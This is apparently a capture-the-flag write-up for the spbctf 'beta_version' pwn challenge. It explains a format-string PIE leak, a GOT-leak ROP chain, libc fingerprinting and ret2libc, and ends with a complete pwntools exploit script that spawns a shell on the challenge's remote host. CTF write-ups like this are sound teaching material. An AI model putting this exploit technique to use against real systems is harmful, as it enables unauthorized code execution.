pwn4 beta_version
pwn4 beta_version
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: format_string_pie_leak, got_leak_via_rop_puts, libc_fingerprinting, ret2libc, return_to_main
Summary
Task: PIE/NX/Full-RELRO/CET binary with a printf(buf) format-string leak in greet() and a stack overflow (0x60 into 0x20) in messager(). Solution: leak PIE via %19$p, ROP puts(puts@got)+return-to-main to leak libc, fingerprint the REMOTE libc as glibc 2.27 (not the sibling task's 2.31) via libc.rip, then ret2libc system('/bin/sh').
pwn4 beta_version — pwn_spbctf
Description
Все необходимые гаджеты присутствуют. Сможешь ли обойтись без чистого ROP? Note: на некоторых архитектурах стек располагается иначе (x64 vs x86_64) — если сплоит не лизнул правильный адрес, проверь близкие смещения.
(Author: Ilya Shilov / @shtrikh17. Tier pwn4, category "ROP". Remote:
nc 109.233.56.90 11663. Platform: pwn.spbctf.ru.)
English summary: A 64-bit ELF with PIE, NX, Full RELRO, CET (SHSTK/IBT) and no
stack canary, not stripped. It exposes a menu with two interesting handlers:
greet() contains a classic printf(buf) format-string bug (the "without pure
ROP?" hint — use the format string for the leak rather than a pure-ROP leak), and
messager() reads 0x60 bytes into a 0x20 stack buffer giving a clean stack
overflow. Goal: pop a shell and cat /flag.
Analysis
file/checksec: amd64, PIE, NX enabled, Full RELRO, no canary, CET enabled, not
stripped. PLT only has scanf, fgets, printf, puts, alarm. There is no win,
system, or open — so we need a libc leak and ret2libc.
Key functions (binary-relative):
main @0x12d5— menu loop:printf("> "); scanf("%c",&choice);'1'→greet,'2'→messager,'3'→exit. Becausescanf("%c")reads a single char, sending the menu choice with a trailing newline leaves a leftover\nthat is consumed by the next iteration and wastes a menu loop. Send the choice as a bare byte (send(b'1'), no newline).greet @0x11c9—puts(prompt); fgets(buf[rbp-0x20], 0x20, stdin); printf(buf);→ format-string bug. This is our leak primitive.messager @0x121e—puts(prompt); fgets(buf[rbp-0x20], 0x60, stdin);→0x60into a0x20buffer = stack buffer overflow. Offset frombufto the saved return address is0x28, and there is no canary, so we get direct control of RIP.
Because main loops, we can call greet then messager repeatedly over a single
connection, chaining a format-string leak, then a GOT-leak ROP returning into
main, then a final ret2libc — all without reconnecting.
Gadgets present (binary-relative, add PIE base):
pop rdi; ret=0x13e3ret=0x101aputs@plt=0x1094,puts@got=0x3fb0,main=0x12d5
CET / IBT note: CET's indirect-branch tracking only blocks indirect jmp/call
into targets that don't start with endbr64. A plain ret-based ROP/ret2libc
chain is not blocked by CET, so this attack works normally. We only need an
extra ret for 16-byte movaps stack alignment before calling system.
The "check close offsets" hint — decoded (CRITICAL)
The hint is the whole game. When the leaked puts libc address was computed
against the libc file left over in the workdir (glibc 2.31, from a sibling
"rop" task), the low 12 bits did not line up: 2.31 puts low-12 is 0x6b0, but
the remote leak's low-12 was 0xaa0. That mismatch means the remote libc
version differs.
Fingerprinting the remote libc via libc.rip using the low-12 bits of multiple
GOT leaks (puts=0xaa0, printf=0xf70, alarm=0x610) identified it as
glibc 2.27 (Ubuntu 18.04, libc6_2.27-3ubuntu1.4_amd64). Downloaded as
libc_2.27.so. Offsets in that libc:
puts = 0x80aa0system = 0x4f550/bin/sh = 0x1b3e1a
What failed (for other agents): reusing the workdir's libc-2.31
(rop_*_libc.so) yields the WRONG system//bin/sh offsets — beta_version's
infra runs glibc 2.27. Always identify libc from a puts/printf GOT leak via
libc.rip; never copy a sibling task's libc file. Reproduced twice across
reconnects.
Solution
Single connection, three stages, exploiting the looping menu:
- Leak PIE.
greetformat string%19$preliably leaks the address ofmain(low 12 bits =0x2d5).PIE_base = leak - 0x12d5. - Leak libc.
messageroverflow → ROPputs(puts@got)then return tomain. The printed value is the real libcputsaddress. Fingerprint / confirm libc (glibc 2.27) and computelibc_base = puts_leak - puts_off. - ret2libc.
messageroverflow →[ret align][pop rdi][&"/bin/sh"][system]→ shell asuid=1000(ctf)→cat /flag.
python read-only • copy allowed#!/usr/bin/env python3 # beta_version (pwn_spbctf, ROP) exploit # Stage A: greet format-string -> leak PIE base (idx19 == main, low12=0x2d5) # Stage B: messager overflow -> ROP puts(puts@got) ; return to main -> leak real puts() # Stage C: messager overflow -> ret2libc system("/bin/sh") from pwn import * import sys context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11663 e = ELF('beta_version', checksec=False) libc = ELF('libc_2.27.so', checksec=False) # remote = glibc 2.27 (Ubuntu 18.04), id'd via libc.rip POP_RDI = 0x13e3 RET = 0x101a PUTS_PLT = e.plt['puts'] # 0x1094 PUTS_GOT = e.got['puts'] # 0x3fb0 MAIN = e.sym['main'] # 0x12d5 OFF = 0x28 # buf -> saved ret CMD = sys.argv[1].encode() if len(sys.argv) > 1 else b'cat /flag /flag.txt 2>/dev/null; id' def greet_leak(io, idx): io.send(b'1') # bare byte: scanf("%c") clean io.recvuntil(b'Who are you?\n', timeout=10) io.send(b'AA%%%d$pZZ\n' % idx) line = io.recvuntil(b'> ', timeout=10) s = line.split(b'AA')[1].split(b'ZZ')[0] return int(s, 16) io = remote(HOST, PORT) io.recvuntil(b'> ', timeout=10) # Stage A: PIE base from idx19 (main, low12 == 0x2d5) leak_main = greet_leak(io, 19) assert (leak_main & 0xfff) == 0x2d5, "idx19 not main! got %#x" % leak_main pie = leak_main - MAIN log.success("PIE base = %#x" % pie) pop_rdi = pie + POP_RDI ret_g = pie + RET puts_plt = pie + PUTS_PLT puts_got = pie + PUTS_GOT main_a = pie + MAIN # Stage B: messager overflow -> puts(puts@got) ; return to main io.send(b'2') io.recvuntil(b'\n', timeout=10) chain = b'A'*OFF chain += p64(pop_rdi) + p64(puts_got) chain += p64(puts_plt) chain += p64(main_a) # return into main loop for stage C io.send(chain + b'\n') data = io.recvuntil(b'> ', timeout=10) first = data.split(b'\n', 1)[0] puts_leak = u64(first[:6].ljust(8, b'\x00')) assert 0x700000000000 <= puts_leak < 0x800000000000, "bad puts leak %r" % data log.success("puts() leak = %#x (low12=%#x)" % (puts_leak, puts_leak & 0xfff)) libc_base = puts_leak - libc.sym['puts'] system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) log.info("libc base=%#x system=%#x /bin/sh=%#x" % (libc_base, system, binsh)) # Stage C: ret2libc system("/bin/sh") (extra ret = 16-byte movaps alignment) io.send(b'2') io.recvuntil(b'\n', timeout=10) chain2 = b'A'*OFF chain2 += p64(ret_g) chain2 += p64(pop_rdi) + p64(binsh) chain2 += p64(system) io.send(chain2 + b'\n') sleep(0.5) io.sendline(CMD) io.interactive()